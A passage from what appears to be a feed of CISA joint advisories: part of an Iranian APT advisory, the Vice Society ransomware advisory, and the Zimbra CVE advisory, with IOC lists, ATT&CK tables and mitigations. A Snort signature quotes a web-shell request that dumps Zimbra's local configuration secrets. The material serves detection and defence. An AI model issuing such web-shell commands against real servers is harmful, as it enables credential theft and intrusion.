Tune your security program, including people, processes, and technologies, based on the data generated by this process. The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory. RESPONDING TO RANSOMWARE OR EXTORTION INCIDENTS If a ransomware or extortion incident occurs at your organization: Follow the Ransomware Response Checklist on page 11 of the CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide. Scan backups. If possible, scan backup data with an antivirus program to check that it is free of malware. This should be performed using an isolated, trusted system to avoid exposing backups to potential compromise. Follow the notification requirements as outlined in your cyber incident response plan. U.S. organizations: Report incidents to FBI at a local FBI Field Office or the FBI's 24/7 CyWatch at (855)292-3937 or cywatch@fbi.gov, CISA’s 24/7 Operations Center at report@cisa.gov or (888) 282-0870, or the U.S. Secret Service (USSS) at a USSS Field Office. Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. Canadian organizations: Report incidents by emailing CCCS at contact@cyber.gc.ca. United Kingdom organizations: Report a significant cyber security incident: ncsc.gov.uk/report-an-incident (monitored 24 hours) Apply incident response best practices found in the joint Cybersecurity Advisory, Technical Approaches to Uncovering and Remediating Malicious Activity, developed by CISA and the cybersecurity authorities of Australia, Canada, New Zealand, and the United Kingdom. Note: The authoring agencies strongly discourage paying ransoms as doing so does not guarantee files and records will be recovered and may pose sanctions risks. RESOURCES The U.S. Department of State’s Rewards for Justice (RFJ) program offers a reward of up to $10 million for reports of foreign government malicious activity against U.S. critical infrastructure. See the RFJ website for more information and how to report information securely. For more information on malicious cyber activity affiliated with the Iranian government- sponsored malicious cyber activity, see us-cert.cisa.gov/Iran and FBI’s Iran Threat page. For information and resources on protecting against and responding to ransomware or extortion activity, refer to StopRansomware.gov, the U.S. centralized, whole-of-government webpage providing ransomware resources and alerts. The joint advisory from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States: Technical Approaches to Uncovering and Remediating Malicious Activity provides additional guidance when hunting or investigating a network and common mistakes to avoid in incident handling. CISA offers a range of no-cost cyber hygiene services to help critical infrastructure organizations assess, identify, and reduce their exposure to threats. By requesting these services, organizations of any size could find ways to reduce their risk and mitigate malicious activity. ACSC can provide tailored cyber security advice and assistance, reporting, and incident response support at cyber.gov.au and via 1300 292 371 (1300 CYBER1). PURPOSE This advisory was developed by U.S., Australian, Canadian, and UK cybersecurity authorities in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. DISCLAIMER The information in this report is being provided “as is” for informational purposes only. FBI, CISA, NSA, USCC-CNMF, DoT, ACSC, CCCS, and NCSC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring. APPENDIX A: INDICATORS OF COMPROMISE IP addresses and executables files are listed below. For a downloadable copy of IOCs, see AA22- 257A.stix. IP Addresses 54.39.78[.]148 95.217.193[.]86 104.168.117[.]149 107.173.231[.]114 144.76.186[.]88 148.251.71[.]182 172.245.26[.]118 185.141.212[.]131 198.12.65[.]175 198.144.189[.]74 Note: Some of these observed IP addresses may be outdated. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking. Malicious Domains newdesk[.]top symantecserver[.]co msupdate[.]us msupdate[.]top gupdate[.]us aptmirror[.]eu buylap[.]top winstore[.]us tcp443[.]org mssync[.]one upmirror[.]top tcp443 (subdomain) kcp53 (subdomain) Files Malicious files observed in this activity are identified in Table 1. Many of the below malicious files are masquerading as legitimate Windows files; therefore, file names alone should not be treated as an indicator of compromise. Note: For additional malicious files observed, see joint CSA Iranian Government-Sponsored APT Cyber Actors Exploiting Microsoft Exchange and Fortinet Vulnerabilities in Furtherance of Malicious Activities. Filename: Wininet[.]xml Path: C:\Windows\Temp\wininet[.]xml MD5: d2f4647a3749d30a35d5a8faff41765e SHA-1: 0f676bc786db3c44cac4d2d22070fb514b4cb64c SHA-256: 559d4abe3a6f6c93fc9eae24672a49781af140c43d491a757c8e975507b4032e Filename: Wininet’[.]xml MD5: 2e1e17a443dc713f13f45a9646fc2179 SHA-1: e75bfc0dd779d9d8ac02798b090989c2f95850dc Filename: WinLogon[.]xml Path: C:\Windows\Temp\WinLogon[.]xml MD5: 49c71178fa212012d710f11a0e6d1a30 SHA-1: 226f0fbb80f7a061947c982ccf33ad65ac03280f SHA-256: bcc2e4d96e7418a85509382df6609ec9a53b3805effb7ddaed093bdaf949b6ea Filename: Wininet[.]bat Path: C:\Windows\wininet[.]bat MD5: 5f098b55f94f5a448ca28904a57c0e58 SHA-1: 27102b416ef5df186bd8b35190c2a4cc4e2fbf37 SHA-256: 668ec78916bab79e707dc99fdecfa10f3c87ee36d4dee6e3502d1f5663a428a0 Filename: Winlogon[.]bat Path: C:\Windows\winlogon[.]bat MD5: 7ac4633bf064ebba9666581b776c548f SHA-1: 524443dd226173d8ba458133b0a4084a172393ef SHA-256: d14d546070afda086a1c7166eaafd9347a15a32e6be6d5d029064bfa9ecdede7 Filename: CacheTask[.]bat Path: C:\\ProgramData\Microsoft\CacheTask[.]bat MD5: ee8fd6c565254fe55a104e67cf33eaea SHA-1: 24ed561a1ddbecd170acf1797723e5d3c51c2f5d SHA-256: c1723fcad56a7f18562d14ff7a1f030191ad61cd4c44ea2b04ad57a7eb5e2837 Filename: Task_update[.]exe Path: C:\Windows\Temp\task_update[.]exe MD5: cacb64bdf648444e66c82f5ce61caf4b SHA-1: 3a6431169073d61748829c31a9da29123dd61da8 SHA-256: 12c6da07da24edba13650cd324b2ad04d0a0526bb4e853dee03c094075ff6d1a Filename: Task[.]exe MD5: 5b646edb1deb6396082b214a1d93691b SHA-1: 763ca462b2e9821697e63aa48a1734b10d3765ee SHA-256: 17e95ecc7fedcf03c4a5e97317cfac166b337288562db0095ccd24243a93592f Filename: dllhost[.]exe Path: C:\Windows\dllhost[.]exe MD5: 0f8b592126cc2be0e9967d21c40806bc 9a3703f9c532ae2ec3025840fa449d4e SHA-1: 3da45558d8098eb41ed7db5115af5a2c6 1c543af 8ece87086e8b5aba0d1cc4ec3804bf74e 0b45bee SHA-256: 724d54971c0bba8ff32aeb6044d3b3fd57 1b13a4c19cada015ea4bcab30cae26 1604e69d17c0f26182a3e3ff65694a4945 0aafd56a7e8b21697a932409dfd81e Filename: svchost[.]exe Path: C:\Windows\svchost[.]exe MD5: 68f58e442fba50b02130eedfc5fe4e5b 298d41f01009c6d6240bc2dc7b769205 SHA-1: 76dd6560782b13af3f44286483e157848 efc0a4e 6ca62f4244994b5fbb8a46bdfe62aa1c95 8cebbd SHA-256: b04b97e7431925097b3ca4841b894139 7b0b88796da512986327ff66426544ca 8aa3530540ba023fb29550643beb00c9c 29f81780056e02c5a0d02a1797b9cd9 Filename: User[.]exe Path: C:\Windows\Temp\user[.]exe MD5: bd131ebfc44025a708575587afeebbf3 f0be699c8aafc41b25a8fc0974cc4582 SHA-1: 8b23b14d8ec4712734a5f6261aed40942 c9e0f68 6bae2d45bbd8c4b0a59ba08892692fe86 e596154 SHA-256: b8a472f219658a28556bab4d6d109fdf3 433b5233a765084c70214c973becbbd 7b5fbbd90eab5bee6f3c25aa3c2762104 e219f96501ad6a4463e25e6001eb00b Filename: Setup[.]bat Path: C:\Users\DefaultAccount\Desktop\New folder\setup[.]bat MD5: 7fdc2d007ef0c1946f1f637b87f81590 Filename: Ssasl[.]pmd Path: C:\Windows\Temp\ssasl[.]pmd Filename: Ssasl[.]zip Path: C:\Windows\Temp\ssasl[.]zip Filename: netscanold[.]exe Path: C:\Users\DefaultAccount\Desktop\netscanold\netscanold[.]exe Filename: scan[.]csv Path: C:\Users\DefaultAccount\Desktop\scan[.]csv Filename: lsass[.]dmp Path: C:\Users\DefaultAccount\AppData\Local\Temp\lsass[.]dmp Filename: lsass[.]zip Path: C:\Users\DefaultAccount\AppData\Local\Temp\lsass[.]zip   APPENDIX B: MITRE ATT&CK TACTICS AND TECHNIQUES Table 2 identifies MITRE ATT&CK Tactics and techniques observed in this activity.   Table 2: Observed Tactics and Techniques Tactic Technique Resource Development ]TA0042] Obtain Capabilities: Malware [T1588.001] Obtain Capabilities: Tool [T1588.002] Initial Access [TA0001] Exploit Public-Facing Application [T1190] Execution [TA0002] Scheduled Task/Job: Scheduled Task [T1053.005] Persistence [TA0003] Create Account: Local Account [T1136.001] Create Account: Domain Account [T1136.002] Privilege Escalation [TA0004]   Credential Access [TA0006]   Collection [TA0009] Archive Collected Data: Archive via Utility [T1560.001] Exfiltration [TA0010]   Impact [TA0040] Data Encrypted for Impact [T1486] Revisions September 14, 2022: Initial Version This product is provided subject to this Notification and this Privacy & Use policy.

  • AA22-249A: #StopRansomware: Vice Society
    by CISA on 6 Settembre 2022 at 1:00 pm

    Original release date: September 6, 2022 | Last revised: September 8, 2022SummaryActions to take today to mitigate cyber threats from ransomware: • Prioritize and remediate known exploited vulnerabilities. • Train users to recognize and report phishing attempts. • Enable and enforce multifactor authentication. Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources. The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) are releasing this joint CSA to disseminate IOCs and TTPs associated with Vice Society actors identified through FBI investigations as recently as September 2022. The FBI, CISA, and the MS-ISAC have recently observed Vice Society actors disproportionately targeting the education sector with ransomware attacks. Over the past several years, the education sector, especially kindergarten through twelfth grade (K-12) institutions, have been a frequent target of ransomware attacks. Impacts from these attacks have ranged from restricted access to networks and data, delayed exams, canceled school days, and unauthorized access to and theft of personal information regarding students and staff. The FBI, CISA, and the MS-ISAC anticipate attacks may increase as the 2022/2023 school year begins and criminal ransomware groups perceive opportunities for successful attacks. School districts with limited cybersecurity capabilities and constrained resources are often the most vulnerable; however, the opportunistic targeting often seen with cyber criminals can still put school districts with robust cybersecurity programs at risk. K-12 institutions may be seen as particularly lucrative targets due to the amount of sensitive student data accessible through school systems or their managed service providers. The FBI, CISA, and the MS-ISAC encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ransomware incidents. Download the PDF version of this report: pdf, 521 KB Download the IOCs: .stix 31 kb Technical DetailsNote: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 11. See MITRE ATT&CK for Enterprise for all referenced tactics and techniques. Vice Society is an intrusion, exfiltration, and extortion hacking group that first appeared in summer 2021. Vice Society actors do not use a ransomware variant of unique origin. Instead, the actors have deployed versions of Hello Kitty/Five Hands and Zeppelin ransomware, but may deploy other variants in the future. Vice Society actors likely obtain initial network access through compromised credentials by exploiting internet-facing applications [T1190]. Prior to deploying ransomware, the actors spend time exploring the network, identifying opportunities to increase accesses, and exfiltrating data [TA0010] for double extortion--a tactic whereby actors threaten to publicly release sensitive data unless a victim pays a ransom. Vice Society actors have been observed using a variety of tools, including SystemBC, PowerShell Empire, and Cobalt Strike to move laterally. They have also used “living off the land” techniques targeting the legitimate Windows Management Instrumentation (WMI) service [T1047] and tainting shared content [T1080]. Vice Society actors have been observed exploiting the PrintNightmare vulnerability (CVE-2021-1675 and CVE-2021-34527 ) to escalate privileges [T1068]. To maintain persistence, the criminal actors have been observed leveraging scheduled tasks [T1053], creating undocumented autostart Registry keys [T1547.001], and pointing legitimate services to their custom malicious dynamic link libraries (DLLs) through a tactic known as DLL side-loading [T1574.002]. Vice Society actors attempt to evade detection through masquerading their malware and tools as legitimate files [T1036], using process injection [T1055], and likely use evasion techniques to defeat automated dynamic analysis [T1497]. Vice Society actors have been observed escalating privileges, then gaining access to domain administrator accounts, and running scripts to change the passwords of victims’ network accounts to prevent the victim from remediating.  Indicators of Compromise (IOCs) Email Addresses v-society.official@onionmail[.]org ViceSociety@onionmail[.]org OnionMail email accounts in the format of [First Name][Last Name]@onionmail[.]org   TOR Address http://vsociethok6sbprvevl4dlwbqrzyhxcxaqpvcqt5belwvsuxaxsutyad[.]onion   IP Addresses for C2 Confidence Level 5.255.99[.]59 High Confidence 5.161.136[.]176 Medium Confidence 198.252.98[.]184 Medium Confidence 194.34.246[.]90 Low Confidence See Table 1 for file hashes obtained from FBI incident response investigations in September 2022. Table 1: File Hashes as of September 2022 MD5 SHA1 fb91e471cfa246beb9618e1689f1ae1d a0ee0761602470e24bcea5f403e8d1e8bfa29832   3122ea585623531df2e860e7d0df0f25cce39b21   41dc0ba220f30c70aea019de214eccd650bc6f37   c9c2b6a5b930392b98f132f5395d54947391cb79 MITRE ATT&CK TECHNIQUES Vice Society actors have used ATT&CK techniques, similar to Zeppelin techniques, listed in Table 2. Table 2: Vice Society Actors ATT&CK Techniques for Enterprise Initial Access Technique Title ID Use Exploit Public-Facing Application T1190 Vice Society actors exploit vulnerabilities in an internet-facing systems to gain access to victims’ networks. Valid Accounts T1078 Vice Society actors obtain initial network access through compromised valid accounts. Execution Technique Title ID Use Windows Management Instrumentation (WMI) T1047 Vice Society actors leverage WMI as a means of “living off the land” to execute malicious commands. WMI is a native Windows administration feature. Scheduled Task/Job T1053 Vice Society have used malicious files that create component task schedule objects, which are often mean to register a specific task to autostart on system boot. This facilitates recurring execution of their code. Persistence Technique Title ID Use Modify System Process T1543.003 Vice Society actors encrypt Windows Operating functions to preserve compromised system functions. Registry Run Keys/Startup Folder T1547.001 Vice Society actors have employed malicious files that create an undocumented autostart Registry key to maintain persistence after boot/reboot. DLL Side-Loading T1574.002 Vice Society actors may directly side-load their payloads by planting their own DLL then invoking a legitimate application that executes the payload within that DLL. This serves as both a persistence mechanism and a means to masquerade actions under legitimate programs. Privilege Escalation Technique Title ID Use Exploitation for Privilege Escalation T1068 Vice Society actors have been observed exploiting PrintNightmare vulnerability (CVE-2021-1675 and CVE-2021-34527) to escalate privileges. Defense Evasion Technique Title ID Use Masquerading T1036 Vice Society actors may attempt to manipulate features of the files they drop in a victim’s environment to mask the files or make the files appear legitimate. Process Injection T1055 Vice Society artifacts have been analyzed to reveal the ability to inject code into legitimate processes for evading process-based defenses. This tactic has other potential impacts, including the ability to escalate privileges or gain additional accesses. Sandbox Evasion T1497 Vice Society actors may have included sleep techniques in their files to hinder common reverse engineering or dynamic analysis. Lateral Movement Technique Title ID Use Taint Shared Content T1080 Vice Society actors may deliver payloads to remote systems by adding content to shared storage locations such as network drives. Exfiltration Technique Title ID Use Exfiltration TA0010 Vice Society actors are known for double extortion, which is a second attempt to force a victim to pay by threatening to expose sensitive information if the victim does not pay a ransom. Impact Technique Title ID Use Data Encrypted for Impact T1486 Vice Society actors have encrypted data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. Account Access Removal T1531 Vice Society actors run a script to change passwords of victims’ email accounts.     MitigationsThe FBI and CISA recommend organizations, particularly the education sector, establish and maintain strong liaison relationships with the FBI Field Office in their region and their regional CISA Cybersecurity Advisor. The location and contact information for FBI Field Offices and CISA Regional Offices can be located at www.fbi.gov/contact-us/field-offices and www.cisa.gov/cisa-regions, respectively. Through these partnerships, the FBI and CISA can assist with identifying vulnerabilities to academia and mitigating potential threat activity. The FBI and CISA further recommend that academic entities review and, if needed, update incident response and communication plans that list actions an organization will take if impacted by a cyber incident. The FBI, CISA, and the MS-ISAC recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Vice Society actors: Preparing for Cyber Incidents Maintain offline backups of data, and regularly maintain backup and restoration.  By instituting this practice, the organization ensures they will not be severely interrupted, and/or only have irretrievable data. Ensure all backup data is encrypted, immutable (i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure. Ensure your backup data is not already infected. Review the security posture of third-party vendors and those interconnected with your organization. Ensure all connections between third-party vendors and outside software or hardware are monitored and reviewed for suspicious activity. Implement listing policies for applications and remote access that only allow systems to execute known and permitted programs under an established security policy. Document and monitor external remote connections. Organizations should document approved solutions for remote management and maintenance, and immediately investigate if an unapproved solution is installed on a workstation. Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud). Identity and Access Management Require all accounts with password logins (e.g., service account, admin accounts, and domain admin accounts) to comply with National Institute of Standards and Technology (NIST) standards for developing and managing password policies. Use longer passwords consisting of at least 8 characters and no more than 64 characters in length; Store passwords in hashed format using industry-recognized password managers; Add password user “salts” to shared login credentials; Avoid reusing passwords; Implement multiple failed login attempt account lockouts; Disable password “hints”; Refrain from requiring password changes more frequently than once per year unless a password is known or suspected to be compromised. Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher. Require administrator credentials to install software. Require phishing-resistant multifactor authentication for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems. Review domain controllers, servers, workstations, and active directories for new and/or unrecognized accounts. Audit user accounts with administrative privileges and configure access controls according to the principle of least privilege.  Implement time-based access for accounts set at the admin level and higher. For example, the Just-in-Time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the Zero Trust model). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task. Protective Controls and Architecture Segment networks to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement. Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host. Install, regularly update, and enable real time detection for antivirus software on all hosts. Secure and closely monitor remote desktop protocol (RDP) use. Limit access to resources over internal networks, especially by restricting RDP and using virtual desktop infrastructure. If RDP is deemed operationally necessary, restrict the originating sources and require MFA to mitigate credential theft and reuse. If RDP must be available externally, use a VPN, virtual desktop infrastructure, or other means to authenticate and secure the connection before allowing RDP to connect to internal devices. Monitor remote access/RDP logs, enforce account lockouts after a specified number of attempts to block brute force campaigns, log RDP login attempts, and disable unused remote access/RDP ports. Vulnerability and Configuration Management Keep all operating systems, software, and firmware up to date. Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Organizations should prioritize patching of vulnerabilities on CISA’s Known Exploited Vulnerabilities catalog. Disable unused ports. Consider adding an email banner to emails received from outside your organization. Disable hyperlinks in received emails. Disable command-line and scripting activities and permissions. Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally. Ensure devices are properly configured and that security features are enabled. Disable ports and protocols that are not being used for a business purpose (e.g., RDP Transmission Control Protocol Port 3389). Restrict Server Message Block (SMB) Protocol within the network to only access servers that are necessary, and remove or disable outdated versions of SMB (i.e., SMB version 1). Threat actors use SMB to propagate malware across organizations. REFERENCES Stopransomware.gov is a whole-of-government approach that gives one central location for ransomware resources and alerts. Resource to mitigate a ransomware attack: CISA-Multi-State Information Sharing and Analysis Center (MS-ISAC) Joint Ransomware Guide. No-cost cyber hygiene services: Cyber Hygiene Services and Ransomware Readiness Assessment. REPORTING The FBI is seeking any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with Vice Society actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file. The FBI, CISA, and the MS-ISAC strongly discourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, the FBI and CISA urge you to promptly report ransomware incidents to a local FBI Field Office, or to CISA at report@cisa.gov or (888) 282-0870. SLTT government entities can also report to the MS-ISAC (SOC@cisecurity.org or 866-787-4722). DISCLAIMER The information in this report is being provided “as is” for informational purposes only. The FBI, CISA, and the MS-ISAC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the FBI, CISA, or the MS-ISAC. Revisions September 6, 2022: Initial Version This product is provided subject to this Notification and this Privacy & Use policy.

  • AA22-228A: Threat Actors Exploiting Multiple CVEs Against Zimbra Collaboration Suite
    by CISA on 16 Agosto 2022 at 3:38 pm

    Original release date: August 16, 2022 | Last revised: September 27, 2022SummaryActions for ZCS administrators to take today to mitigate malicious cyber activity: • Patch all systems and prioritize patching known exploited vulnerabilities. • Deploy detection signatures and hunt for indicators of compromise (IOCs). • If ZCS was compromised, remediate malicious activity. The Cybersecurity and Infrastructure Security Agency (CISA) and the Multi-State Information Sharing & Analysis Center (MS-ISAC) are publishing this joint Cybersecurity Advisory (CSA) in response to active exploitation of multiple Common Vulnerabilities and Exposures (CVEs) against Zimbra Collaboration Suite (ZCS), an enterprise cloud-hosted collaboration software and email platform. CVEs currently being exploited against ZCS include: CVE-2022-24682 CVE-2022-27924 CVE-2022-27925 chained with CVE-2022-37042 CVE-2022-30333 Cyber threat actors may be targeting unpatched ZCS instances in both government and private sector networks. CISA and the MS-ISAC strongly urge users and administrators to apply the guidance in the Recommendations section of this CSA to help secure their organization’s systems against malicious cyber activity. CISA and the MS-ISAC encourage organizations who did not immediately update their ZCS instances upon patch release, or whose ZCS instances were exposed to the internet, to assume compromise and hunt for malicious activity using the third-party detection signatures in the Detection Methods section of this CSA. Organizations that detect potential compromise should apply the steps in the Incident Response section of this CSA. Update September 27, 2022: This CSA has been updated with additional IOCs. For a downloadable copy of the IOCs, see the following Malware Analysis Reports (MARs): MAR-10400779-1 MAR-10400779-2 MAR-10401765-1 Update End Download the PDF version of this report: pdf, 427 kb Download the IOCs: .stix 14 kb Technical DetailsCVE-2022-27924 CVE-2022-27924 is a high-severity vulnerability enabling an unauthenticated malicious actor to inject arbitrary memcache commands into a targeted ZCS instance and cause an overwrite of arbitrary cached entries. The actor can then steal ZCS email account credentials in cleartext form without any user interaction. With valid email account credentials in an organization not enforcing multifactor authentication (MFA), a malicious actor can use spear phishing, social engineering, and business email compromise (BEC) attacks against the compromised organization. Additionally, malicious actors could use the valid account credentials to open webshells and maintain persistent access. On March 11, 2022, researchers from SonarSource announced the discovery of this ZCS vulnerability. Zimbra issued fixes for releases 8.8.15 and 9.0 on May 10, 2022. Based on evidence of active exploitation, CISA added this vulnerability to the Known Exploited Vulnerabilities Catalog on August 4, 2022. Due to ease of exploitation, CISA and the MS-ISAC expect to see widespread exploitation of unpatched ZCS instances in government and private networks. CVE-2022-27925 and CVE-2022-37042 CVE-2022-27925 is a high severity vulnerability in ZCS releases 8.8.15 and 9.0 that have mboximport functionality to receive a ZIP archive and extract files from it. An authenticated user has the ability to upload arbitrary files to the system thereby leading to directory traversal.[1] On August 10, 2022, researchers from Volexity reported widespread exploitation—against over 1,000 ZCS instances—of CVE-2022-27925 in conjunction with CVE-2022-37042.[2] CISA added both CVEs to the Known Exploited Vulnerabilities Catalog on August 11, 2022. CVE 2022 37042 is an authentication bypass vulnerability that affects ZCS releases 8.8.15 and 9.0. CVE 2022 37042 could allow an unauthenticated malicious actor access to a vulnerable ZCS instance. According to Zimbra, CVE 2022 37042 is found in the MailboxImportServlet function.[3][4] Zimbra issued fixes in late July 2022. CVE-2022-30333 CVE-2022-30333 is a high-severity directory traversal vulnerability in RARLAB UnRAR on Linux and UNIX allowing a malicious actor to write to files during an extract (unpack) operation. A malicious actor can exploit CVE-2022-30333 against a ZCS server by sending an email with a malicious RAR file. Upon email receipt, the ZCS server would automatically extract the RAR file to check for spam or malware.[5] Any ZCS instance with unrar installed is vulnerable to CVE-2022-30333. Researchers from SonarSource shared details about this vulnerability in June 2022.[6] Zimbra made configuration changes to use the 7zip program instead of unrar.[7] CISA added CVE-2022-3033 to the Known Exploited Vulnerabilities Catalog on August 9, 2022. Based on industry reporting, a malicious cyber actor is selling a cross-site scripting (XSS) exploit kit for the ZCS vulnerability to CVE 2022 30333. A Metasploit module is also available that creates a RAR file that can be emailed to a ZCS server to exploit CVE-2022-30333.[8] CVE-2022-24682 CVE-2022-24682 is a medium-severity vulnerability that impacts ZCS webmail clients running releases before 8.8.15 patch 30 (update 1), which contain a cross-site scripting (XSS) vulnerability allowing malicious actors to steal session cookie files. Researchers from Volexity shared this vulnerability on February 3, 2022[9], and Zimbra issued a fix on February 4, 2022.[10] CISA added this vulnerability to the Known Exploited Vulnerabilities Catalog on February 25, 2022. DETECTION METHODS Note: CISA and the MS-ISAC will update this section with additional IOCs and signatures as further information becomes available. CISA recommends administrators, especially at organizations that did not immediately update their ZCS instances upon patch release, to hunt for malicious activity using the following third-party detection signatures: Update September 27, 2022: Hunt for IOCs including: IP Addresses Note 62.113.255[.]70 New September 27, 2022: Used by cyber actors during August 25-26, 2022 while attempting to exploit CVE-2022-27925 and CVE-2022-37042 185.112.83[.]77 New September 27, 2022: Used by cyber actors during August 25-26, 2022 while attempting to exploit CVE-2022-27925 and CVE-2022-37042 207.148.76[.]235 A Cobalt Strike command and control (C2) domain 209.141.56[.]190 New September 27, 2022   Update August 23, 2022: Deploy Snort signatures to detect malicious activity: alert tcp any any -> any any (msg:"ZIMBRA: HTTP POST content data '.jsp' file'"; sid:x; flow:established,to_server; content:"POST"; http_method; content:"|2f|service|2f|extension|2f|backup|2f|mboximport"; nocase; http_uri; content:"file|3a|"; nocase; http_client_body; content:"|2e|jsp"; http_client_body; fast_pattern; classtype:http-content; reference:cve,2022-30333;) alert tcp any any -> any any (msg:"ZIMBRA: Client HTTP Header 'QIHU 360SE'"; sid:x; flow:established,to_server; content:"POST"; http_method; content:"|2f|service|2f|extension|2f|backup|2f|mboximport"; nocase; http_uri; content:"QIHU|20|360SE"; nocase; http_header; fast_pattern; classtype:http-header; reference:cve,2022-30333;) alert tcp any any -> any any (msg:"ZIMBRA:HTTP GET URI for Zimbra Local Config"; sid:x; flow:established,to_server; content:"/public/jsp/runas.jsp?pwd=zim&i=/opt/zimbra/bin/zmlocalconfig|3a|-s"; http_uri; classtype:http-uri; reference:cve,2022-30333;) Deploy third-party YARA rules to detect malicious activity: See Volexity’s Mass Exploitation of (Un)authenticated Zimbra RCE: CVE-2022-27925 MitigationsCISA and the MS-ISAC recommend organizations upgrade to the latest ZCS releases as noted on Zimbra Security – News & Alerts and Zimbra Security Advisories. See Volexity’s Mass Exploitation of (Un)authenticated Zimbra RCE: CVE-2022-27925 for mitigation steps. Additionally, CISA and the MS-ISAC recommend organizations apply the following best practices to reduce risk of compromise: Maintain and test an incident response plan. Ensure your organization has a vulnerability management program in place and that it prioritizes patch management and vulnerability scanning of known exploited vulnerabilities. Note: CISA’s Cyber Hygiene Services (CyHy) are free to all state, local, tribal, and territorial (SLTT) organizations, as well as public and private sector critical infrastructure organizations: cisa.gov/cyber-hygiene-services.  Properly configure and secure internet-facing network devices. Do not expose management interfaces to the internet. Disable unused or unnecessary network ports and protocols. Disable/remove unused network services and devices. Adopt zero-trust principles and architecture, including: Micro-segmenting networks and functions to limit or block lateral movements. Enforcing phishing-resistant (MFA) for all users and virtual private network (VPN) connections. Restricting access to trusted devices and users on the networks. INCIDENT RESPONSE If an organization’s system has been compromised by active or recently active threat actors in their environment, CISA and the MS-ISAC recommend the following initial steps: Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections. Quarantine or take offline potentially affected hosts. Reimage compromised hosts. Provision new account credentials. Report the compromise to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870). SLTT government entities can also report to the MS-ISAC (SOC@cisecurity.org or 866-787-4722). See the joint CSA from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States on Technical Approaches to Uncovering and Remediating Malicious Activity for additional guidance on hunting or investigating a network, and for common mistakes in incident handling. CISA and the MS-ISAC also encourage government network administrators to see CISA’s Federal Government Cybersecurity Incident and Vulnerability Response Playbooks. Although tailored to federal civilian branch agencies, these playbooks provide detailed operational procedures for planning and conducting cybersecurity incident and vulnerability response activities. ACKNOWLEDGEMENTS CISA and the MS-ISAC would like to thank Volexity and Secureworks for their contributions to this advisory. DISCLAIMER The information in this report is being provided “as is” for informational purposes only. CISA and the MS-ISAC do not provide any warranties of any kind regarding this information. CISA and the MS-ISAC do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring. References [1] CVE-2022-27925 detail [2] Mass exploitation of (un)authenticated Zimbra RCE: CVE-2022-27925 [3] CVE-2022-37042 detail [4] Authentication bypass in MailboxImportServlet vulnerability [5] CVE-2022-30333 detail [6] UnRAR vulnerability exploited in the wild, likely against Zimbra servers [7] Zimbra Collaboration Kepler 9.0.0 patch 25 GA release [8] Zimbra UnRAR path traversal [9] Operation EmailThief: Active exploitation of zero-day XSS vulnerability in Zimbra [10] Hotfix available 5 Feb for zero-day exploit vulnerability in Zimbra 8.8.15 Revisions August 16, 2022: Initial Version August 22, 2022: Added Snort Signatures August 23, 2022: Updated Detection Methods Snort Signatures This product is provided subject to this Notification and this Privacy & Use policy.

  • AA22-223A: #StopRansomware: Zeppelin Ransomware
    by CISA on 11 Agosto 2022 at 4:00 pm

